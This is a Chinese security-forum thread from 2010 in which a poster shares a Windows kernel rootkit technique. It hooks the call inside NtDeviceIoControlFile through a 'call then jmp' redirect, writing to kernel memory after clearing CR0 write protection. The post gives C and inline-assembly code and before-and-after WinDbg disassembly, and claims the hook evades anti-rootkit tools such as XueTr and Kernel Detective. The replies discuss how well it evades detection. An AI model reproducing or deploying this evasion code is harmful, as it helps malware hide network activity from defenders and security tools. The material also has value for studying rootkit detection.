首页
社区
课程
招聘
[分享]利用HOOK CALL +JMP方法避开普通AntiRootKit工具检测
发表于: 2010-12-28 19:12 16803

[分享]利用HOOK CALL +JMP方法避开普通AntiRootKit工具检测

2010-12-28 19:12
16803

最近在研究RootKit技术,发现普通的SSDT HOOK以及inline hook很容易被一些普通的AntiRootKit工具检测到,我针对的函数是NtDeviceIoControlFile,看到这个函数大家肯定不陌生,因为这个函数经常被木马,病毒用来隐藏端口(废话)。起初,我想用修改一个字节的方法来HOOK,这个HOOK方法是由看雪的大牛Sysnap很久以前提出的,涉及到了int 0xff中断  ,然后挂钩IDT,但是NtDeviceIoControlFile这个函数调用频繁,不能用这种HOOK方式,否则影响效率。所以换种方法,反汇编NtDeviceIoControlFile的结果如下:
nt!NtDeviceIoControlFile:
8056f442 8bff            mov     edi,edi
8056f444 55              push    ebp
8056f445 8bec           mov     ebp,esp
8056f447 6a01          push    1
8056f449 ff752c         push    dword ptr [ebp+2Ch]
8056f44c ff7528         push    dword ptr [ebp+28h]
8056f44f ff7524          push    dword ptr [ebp+24h]
8056f452 ff7520         push    dword ptr [ebp+20h]
8056f455 ff751c          push    dword ptr [ebp+1Ch]
8056f458 ff7518          push    dword ptr [ebp+18h]
8056f45b ff7514          push    dword ptr [ebp+14h]
8056f45e ff7510          push    dword ptr [ebp+10h]
8056f461 ff750c           push    dword ptr [ebp+0Ch]
8056f464 ff7508           push    dword ptr [ebp+8]
8056f467 e8ac710000           call    nt!NtWriteFile+0x33d0 (80576618)
8056f46c 5d              pop       ebp
8056f46d c22800          ret     28h
可以看出,这个函数什么也没做直接调用了nt!NtWriteFile+0x33d0 ,HOOK nt!NtWriteFile+0x33d0 就等于hook了NtDeviceIoControlFile,参数处理都基本是一样啊,只多了个1,便宜了我等菜鸟了,呵呵。
在百度上跑了一会,关于HOOK CALL 的文章很少(菜鸟心理)。。我找到了一篇,从这文章了解到,原来传说中的东方微点用了好多这种HOOK,好了不废话了,来看看代码实现。。。大牛就请坐筋斗云飘过吧。。
for(cPtr=(PUCHAR)OldZwDeviceIoControlFile;cPtr<(PUCHAR)OldZwDeviceIoControlFile+PAGE_SIZE;cPtr+=Length)
{

   Length=SizeOfCode(cPtr,&pOpcode);
   if(!Length)  break;
   if (Length ==5 && *cPtr==0xE8)
    {
     OldNtWriteFileRva = *(PULONG)(cPtr+1);
     break;
    }
}

Tmp=(ULONG)cPtr+9-((ULONG)cPtr+5);// 计算CALL到我们的JMP偏移
*(ULONG *)(JmpAddress+1)=(ULONG)NewNtWriteFileNext-((ULONG)cPtr+9+5);//jmp 偏移
  _asm
   
  {
    push eax
      
      mov eax, cr0
      mov CR0VALUE, eax
      and eax, 0fffeffffh  
      mov cr0, eax
      pop eax
  }
  
  Irql=KeRaiseIrqlToDpcLevel();
  RtlCopyMemory((ULONG)cPtr+9,JmpAddress,5);
  *(PULONG)(cPtr+1)=Tmp;//直接替換爲我們的FAKE函數地址
  KeLowerIrql(Irql);
  
  __asm
   
  {      
   
    push eax
      
      mov eax, CR0VALUE
      
      mov cr0, eax
      
      pop eax
      
  }
微点使用了2段跳,先把CALL后面的地址换成内核里的一个JMP地址,然后再JMP到自己的驱动
避开了一些AntiRootKit工具来看看结果:
nt!NtDeviceIoControlFile:
8056f442 8bff            mov     edi,edi
8056f444 55              push    ebp
8056f445 8bec            mov     ebp,esp
8056f447 6a01            push    1
8056f449 ff752c          push    dword ptr [ebp+2Ch]
8056f44c ff7528          push    dword ptr [ebp+28h]
8056f44f ff7524          push    dword ptr [ebp+24h]
8056f452 ff7520          push    dword ptr [ebp+20h]
8056f455 ff751c          push    dword ptr [ebp+1Ch]
8056f458 ff7518          push    dword ptr [ebp+18h]
8056f45b ff7514          push    dword ptr [ebp+14h]
8056f45e ff7510          push    dword ptr [ebp+10h]
8056f461 ff750c          push    dword ptr [ebp+0Ch]
8056f464 ff7508          push    dword ptr [ebp+8]
8056f467 e804000000      call    nt!NtDeviceIoControlFile+0x2e (8056f470)
8056f46c 5d              pop     ebp
8056f46d c22800          ret     28h
8056f470 e94b316678      jmp     highDeepHookNtDevice!NewNtWriteFileNext (f8bd25c0)
8056f475 cc              int     3
呵呵。。这样就避开了一些普通AntiRootKit工具检测,至少XueTr.exe是避开了,直接CALL我们的驱动可以避开Kernel_Detective_v1.3.0,运行稳定。此贴纯属自勉,望大牛们多多指教,小弟感激不尽。小弟还有一个问题,再用XDE32反汇编引擎里的指令转成机器码的时候出现这样的问题:
int Lengthg;
UCHAR JmpAddress[10];
struct xde_instr myjmp={0};
myjmp.opcode=0xea;  //绝对地址跳
myjmp.addrsize=4;
myjmp.datasize=2;
myjmp.addr_l[0]=f8052556;
myjmp.addr_s[0]=8;
Lengthg=xde_asm(JmpAddress,&myjmp);
变量JmpAddress里的机器码写入内存后,再用Windbg查看的时候为jmp 0000:f8052556  前面4个0是怎么出来的??还有从Ring0下获取SSDT原始地址http://bbs.pediy.com/showthread.php?p=810552里竹君大牛介绍的4种得到SSDT地址的方法编译时需要加个什么头文件啊??望大牛们多多指教,小弟感激不尽,谢谢。。。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (10)
雪    币: 8170
活跃值: (2766)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
NtDeviceIoControlFile内部Call IopXxxControlFile

Ps:
楼主.reload一下符号吧.
看样子windbg符号没有加载好.
2010-12-28 19:22
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这样的文字必须顶········
2010-12-28 19:41
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
过过一般的ARK还是可以的。
2010-12-28 20:31
0
雪    币: 3836
活跃值: (4142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
是二段跳call->jmp->mydrive...
2010-12-28 23:35
0
雪    币: 306
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
2010-12-28 23:49
0
雪    币: 213
活跃值: (147)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
我有两个问题想请教:
1.位置8056f470的地方原来是什么?看楼主的代码,好像是int 3;那如果遇到后面不是可用代码(int 3,nop之类)的情况下,call后的jmp放在哪里?
2. jmp放在call后面,那就是相当于先执行原函数,再jmp到我们自己的函数了,这样hook的话,是不是意义就不那么明显了?

谢谢
2010-12-29 11:15
0
雪    币: 3836
活跃值: (4142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
额。。。。我也是这么想。。但技术菜。直接call自己的驱动还不会被KD检测,但以JMP就糟了。。但一般的工具不会被查,比如XueTr
2010-12-29 18:53
0
雪    币: 214
活跃值: (27)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
学习了,定了  谢谢分享
2010-12-31 23:03
0
雪    币: 229
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
在XueTr中是避开了"SSDT"和"Shadow SSDT",还是避开了“内核钩子”的检测?
2011-1-1 02:09
0
雪    币: 3836
活跃值: (4142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
当然是“内核钩子”的检测,这不是HOOK SSDT"和"Shadow SSDT"......
2011-1-10 17:48
0
游客
登录 | 注册 方可回帖
返回
//